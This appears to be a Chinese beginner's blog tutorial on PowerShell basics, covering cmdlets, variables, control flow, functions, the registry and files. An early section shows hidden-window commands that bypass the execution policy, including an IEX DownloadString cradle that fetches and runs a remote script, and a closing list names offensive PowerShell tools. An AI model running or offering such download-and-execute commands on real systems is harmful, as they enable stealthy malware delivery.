PowerShell技术概学
本文内容较琐碎,思路较混乱,仅当入门小小小基础吧
Powershell基础
特点
基本常识
- 在PowerShell下,类似 cmd命令 叫作
cmdlet
- 命令规范:
动词-名词
, 不区分大小写
- 可以直接在cmd中运行
powershell
来打开
查看PowerShell版本
1
2
3
|
Get-Host
或者
$PSversionTable.PSVERSION
|
ps1文件: 一个PowerShell脚本其实就是一个简单的文本文件
运行脚本
1.完整路径
2.当前路径:./test.ps1
基本命令
1
2
3
4
5
6
7
8
9
10
11
|
Get-Command : 得到所有PowerShell命令
Get-Process : 获取所有进程
Get-Help : 显示有关 Windows PowerShell 命令和概念的信息
Get-History : 获取在当前会话中输入的命令的列表
Get-Job : 获取在当前会话中运行的 Windows PowerShell 后台作业
dir –r
|
执行策略
1
2
3
4
5
6
|
Get-ExecutionPolicy #查看当前策略
- Restricted #脚本不能运行(默认)
- RemoteSigned #本地创建的脚本可以运行,但从网上下载的脚本不能运行
- AllSigned #仅当脚本由信任的发布者签名时才能运行
- Unrestricted #允许所有的脚本运行
|
绕过本地权限执行脚本
1
2
3
|
powershell.exe -ExexutionPolicy ByPass -File xxx.ps1
# -ExexutionPolicy ByPass 绕过执行安全策略
|
本地隐藏绕过权限执行脚本
1
2
3
4
|
powershell.exe -ExexutionPolicy ByPass -WindowStyle Hidden -NoLogo -Nolnteractive -NoProfile -File xxx.ps1
# -WindowStyle Hidden 隐藏窗口
# -NoLogo 启动不显示版权标志的PowerShell
|
用IEX下载远程PS1脚本绕过权限执行脚本
1
2
3
4
5
6
|
powershell.exe -ExexutionPolicy ByPass -WindowStyle Hidden -NoProfile -NonI IEX(New-ObjectNet.WebClient).DownloadString("xxx.ps1");[Parameters]
# -NonI 非交互模式
# -NoProfile / -NoP 不加载当前用户的配置文件
# Noexit 执行后不退出Shell (这在使用键盘记录等脚本时非常重要)
|
可以直接在终端进行数字计算…..笑死
自定义Powershell控制台
右键自己看着自己的习惯调整吧
编辑选项:
Powershell快捷键
与linux中相似
1
2
3
4
5
|
alt+F7 #清除命令的历史记录
PgUp PgDn #翻页的效果
Esc #情况命令行(我还是喜欢 ^L)
Home #移动到命令行最左端
End #移动到命令行最右端
|
Powershell管道和重定向
基于对象的
管道:
1
2
3
4
5
6
7
8
|
#找字符串
ls | findstr "an"
# 查看name列
ls | Format-table name
# 还可以sort等
`get-process p* | stop-process` # 找到p...的进程,然后停止
|
重定向:
1
2
3
4
|
# >, >>
#重定向到文件中
ls | Format-table name >> test.txt
|
Powershell数学运算
直接在终端执行即可,无需多讲
1
2
3
4
|
#运算
1gb/1mb*18kb
# 比较
1gb -gt 1mb
|
Powershell执行外部命令
打开应用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
#直接打开
notepad
#或者带双引号
&"notepad"
# 直接打开服务
services.exe
# 查看环境变量
$env:path
# 仅在当前终端设置环境变量(临时生效)
$env$path=$env$path+"路径"
|
Powershell命令集
一般是动词-名词
结构
查看所有命令:Get-Command
查看命令帮助: get-help
查看命令历史:get-history
Powershell别名
使用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
# 查看所有别名
get-alias
# 可以查看命令别名
get-help 命令
# 查看别名对应的真实的命令
get-alias -name ls
# 找出以remove开头的别名():
get-alias | where {$_.definition.startswitch("Remove")}
# 查询所有别名最多的,并排序
get-alias |group-object definition |sort -descending Count
|
自定义别名
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
# 临时定义(退出终端就不生效了)
set-alias -name pad -value notepad`
# 删除别名
del alias pad
## 永久设置别名(写入Windows PowerShell profile文件)
#1.查看此文件在计算机中的位置:
$profile
#2.一般该文件在没有创建前是不存在的,使用以下命令为当前用户创建profile命令并返回文件地址:
New-Item -Type file -Force $profile
#3.打开文件将一些内容写入文件,创建别名,比如;
Set-Alias notepad++ "C:\Development Kit\Notepad++\notepad++.exe"
# 导出别名
export-alias demp.ps1
# 导入别名
import-alias -force demo.ps1
|
Powershell变量
变量基础
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
#定义变量
$name="hhh"
#打印 直接$name
# Note: 大小写不敏感,所以特殊变量尽量用花括号
${"i am a boy"}="ggggg"
# 可以直接运算
$n=(2+8*10)/2
# 多个变量同时值
$n1=$n2=1
$m, $n=1, 2
#调换变量值
$n1, $n2=$n2, $n1
|
变量操作
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
# 查看变量是否存在 test-path
test-path variable:$n1
# 删除变量
del variable:$n1
remove-variable
## powershell提供了五个专门管理变量的命令
Clear-Variable
Get-Variable
New-Variable
Remove-Variable
Set-Variable
### 变量写保护(只读)
#1.设置
$server = '10.10.10.10'
Set-Variable server -option Readonly
#2.新建时
New-Variable nu1 -Value 100 -Force -Option readonly
#上面的变量不能更改,但是可以通过删除变量(del Variable:num -Force),再重新创建变量更新变量内容。
# 选项Constant,常量一旦声明,不可修改
new-variable num -Value "strong" -Option constant
|
自动化变量
1.用户信息:例如用户的根目录$home
2.配置信息:例如powershell控制台的大小,颜色,背景等。
3.运行时信息:例如一个函数由谁调用,一个脚本运行的目录等。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
# 比如:终端一打开就自动加载的变量
# 用户根目录
$home
# 跟linux下基本一样
$$ #包含会话所收到的最后一行中的最后一个令牌。
$^ #包含会话所收到的最后一行中的第一个令牌。
$? #上一个命令的返回值
$_ #包含管道对象中的当前对象
$pid #进程id
$null
$Host
$LastExitCode #包含运行的最后一个基于 Windows 的程序的退出代码。
|
参考:这里
环境变量
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
#查看环境变量
ls env
ls env:name
#查看具体环境变量的值
$env:windir
# 新建用户环境变量(临时)
$env:name="xxx"
# 新建环境变量(长久)
xxx
# 在环境变量的PATH下添加一条内容
$Env:path=$Env:Path+";C:\Go\bin"
# .net方式只对用户变量生效
[environment]::setenvironment("PATH","D:\","User")
# .net获取值
[environment]::getenvironment("PATH","User")
# 删除环境变量
del env:name
#或
remove-item env:name
|
在其他脚本中使用powershell
1
2
3
|
#比如bat
@echo off
powershell "&'c:\Users\test\e.psl'"
|
Powershell条件判断
条件操作符
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
-eq 等于
-ne 不等与
-gt 大于
-lt 小于
-le 小于等于
-contains
#布尔
-not 取反
-ant
-or
-xor
# 比如:
80 -eq 70
1gb -gt lmb
(1,2,3) -contains 2
|
if语句
写脚本编辑器ISE里面了
1
2
3
4
5
6
7
8
9
10
11
12
13
|
$num=56
if($num -gt 50 -and $num -lt 60)
{
"大于50且小于60"
}
elseif($num -eq 50)
{
"等于50"
}
else
{
"小于50"
}
|
switch语句
1
2
3
4
5
6
7
8
|
$num=45
switch($num)
{
{($_ -lt 50) -and ($_ -gt 40)} {"小于50且大于40"}
50 {"等于50"}
{$_ -gt 50} {"大于50"}
}
|
Powershell循环结构
foreach语句
1
2
3
4
5
6
7
8
9
|
$arr=1..10
foreach ($n in $arr)
{
if($n -gt 5)
{
$n
}
}
|
打印路径中大小大于多少的文件
1
2
3
4
5
6
7
8
9
|
$pat_val=dir D:\antSword
foreach ($file in $pat_val)
{
if($file.length -gt 1kb)
{
$file.name
}
}
|
while语句
while
1
2
3
4
5
6
|
$num=15
while($num -ge 10)
{
$num
$num --
}
|
do … while(先运行一次)
1
2
3
4
5
6
|
$num=15
do
{
$num
$num --
}while($num -ge 10)
|
continue与break
break
1
2
3
4
5
6
7
8
9
10
11
12
|
$num=1
while($num -le 10)
{
if($num -eq 4)
{
break
}else
{
$num
}
$num++
}
|
continue
1
2
3
4
5
6
7
8
9
10
11
12
13
|
$num=1
while($num -lt 10)
{
if($num -eq 4)
{
$num++
continue
}else
{
$num
$num++
}
}
|
for语句
1
2
3
4
5
6
|
$num=0
for($i=1; $i -le 100; $i++)
{
$sum+=$i
$sum
}
|
switch实现循环
1
2
3
4
5
6
7
|
$num=1..10
switch($num)
{
{($_ % 2) -eq 0}{"此数值是偶数:$_"}
{($_ % 2) -ne 0}{"此数值是奇数:$_"}
default{"num=$_"}
}
|
Powershell数组
数组的创建
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
# 1.
$arr=1,2,3,4
# 2.
$arr=1..5
# 3.可以支持不同类型的值
$arr=1,"hhh",(get-date)
# 4.空数组
$arr=@()
# 5.有个逗号就行
$arr=,1
# 6. 命令执行结果的每一行作为一个数组元素
$arr=ipconfig
#判断是否为数组
$arr -is [array]
|
访问数组
1
2
3
4
5
6
7
8
9
10
|
$arr[0]
$arr[-1]
$arr[0..2] # 取出0,1,2
$arr.Count # 元素个数
$arr[($arr.Count)..0] # 倒序
$arr+="haha" # 增加元素
|
Powershell函数
自定义函数及调用
1
2
3
4
5
6
|
function test
{
ping www.xpshuai.cn.
}
test # 调用
|
传参
1
2
3
4
5
6
7
8
9
|
function test($site)
{
ping $site
}
test www.xpshuai.cn # 调用
# 多个参数
test p1 p2
|
函数返回值
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
function add($n1, $n2)
{
$c=$n1,$n2
$sum=$n1+$n2;
$sum.gettype().fullname # 数据类型
if($sum.gettype().fullname -eq "System.Double")
{
"c为数组,索引取值: $c[0]"
return $n1,$n2,$sum,"double浮点数"
}
return $n1,$n2,$sum
}
add 1 2.5 # 调用
|
Powershell定义文本
powershell中转义符是反引号
1
2
3
4
5
6
7
8
9
10
11
|
"hello先执行命令: $(Get-Date)"
"hello表达式: $(5*6)"
"单双引号hello, my name is '哈哈'"
"都用双引号,用反引号转义:hello, my name is `"哈哈`""
# 换行符:`n 回车: `r
"你好啊 `n 朋友 `n 我换行啦"
|
Powershell实现用户交互
read-host
1
2
3
|
$input=read-host "请输入用户名"
"您好,你输入从用户名为: $input"
|
Powershell格式化字符串
1
2
3
4
5
6
7
8
9
10
11
12
13
|
# 格式化之前
$name="lili"
$age=20
$gender="girl"
"My name is $name, i am $age years old, and i am a $gender"
# 格式化 -f
$name="lili"
$age=20
$gender="girl"
"My name is {0}, i am {1} years old, and i am a {2}, {3}." -f $name,$age,$gender,$(3*6)
#运算的话,尽量用小括号括起来
|
String对象方法
对字符串的操作
1
2
3
4
5
6
7
8
9
10
|
$str="D:\Desktop\Cobalt strike4\test\a.txt"
$str.Split(".")[-1] # 以.点分割,然后取最后一位
$str.endswith("ll") # 是否以ll结尾
$str.Contains("txt") # 是否包含某个字符串
$str.CompareTo("D:\Desktop\Cobalt strike4\test\a.txt") # 判断两个字符串是否相等
$str.IndexOf("w") # 找出w的索引位置
$str.Insert(3,"hhh") # 在索引3地方插入hhh
$str.Replace("c","C") # 替换
$str.Remove(0) # 删除
|
Powershell操作注册表
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
#切换到根键
cd hkcu:
cd ..
exit
# 切换到别的根键
cd HKLM:
# 获取
get-ItemProperty
# 设置
set-ItemProperty
# 移除
remove-ItemProperty
# 等等其他
命令 描述
Dir, Get-ChildItem 列出键的内容
Cd, Set-Location 更改当前(键)目录
HKCU:, HKLM: 预定义的两个重要注册表根目录虚拟驱动器
Get-ItemProperty 读取键的值
Set-ItemProperty 设置键的值
New-ItemProperty 给键创建一个新值
Clear-ItemProperty 删除键的值内容
Remove-ItemProperty 删除键的值
New-Item, md 创建一个新键
Remove-Item, Del 删除一个键
Test-Path 验证键是否存在
|
Powershell文件操作
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
# 新建目录
New-Item xxxx -type directory # 或者 md test
# 新建文件
New-Item xxxx.txt -type File
# 删除目录
Remove-Item test
# 显示文本内容
Get-Content test.txt
# 设置文本内容
Set-Content .\test.txt -Value "哈哈哈哈哈哈哈"
# 追加内容
Add-Content .\test.txt -Value "嘻嘻嘻嘻嘻嘻嘻嘻"
# 清除内容
Clear-Content .\test.txt
|
常用的PowerShell攻击工具:
- PowerSploit
- NiShang
- Empire (基于PowerShell的远控木马)
- PowerCat (PowerShell版的NetCat)
其他技巧
… …